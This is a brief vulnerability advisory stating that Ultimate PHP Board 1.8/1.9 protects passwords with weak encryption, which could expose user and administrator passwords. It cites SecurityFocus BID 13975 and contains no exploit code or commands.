Ultimate PHP Board 1.8/1.9 - Weak Password Encryption

source: https://www.securityfocus.com/bid/13975/info

Ultimate PHP Board is prone to a weak password encryption vulnerability. This issue is due to a failure of the application to protect passwords with a sufficiently effective encryption scheme.

This issue may allow a malicious user to gain access to user and administrator passwords for the affected application.
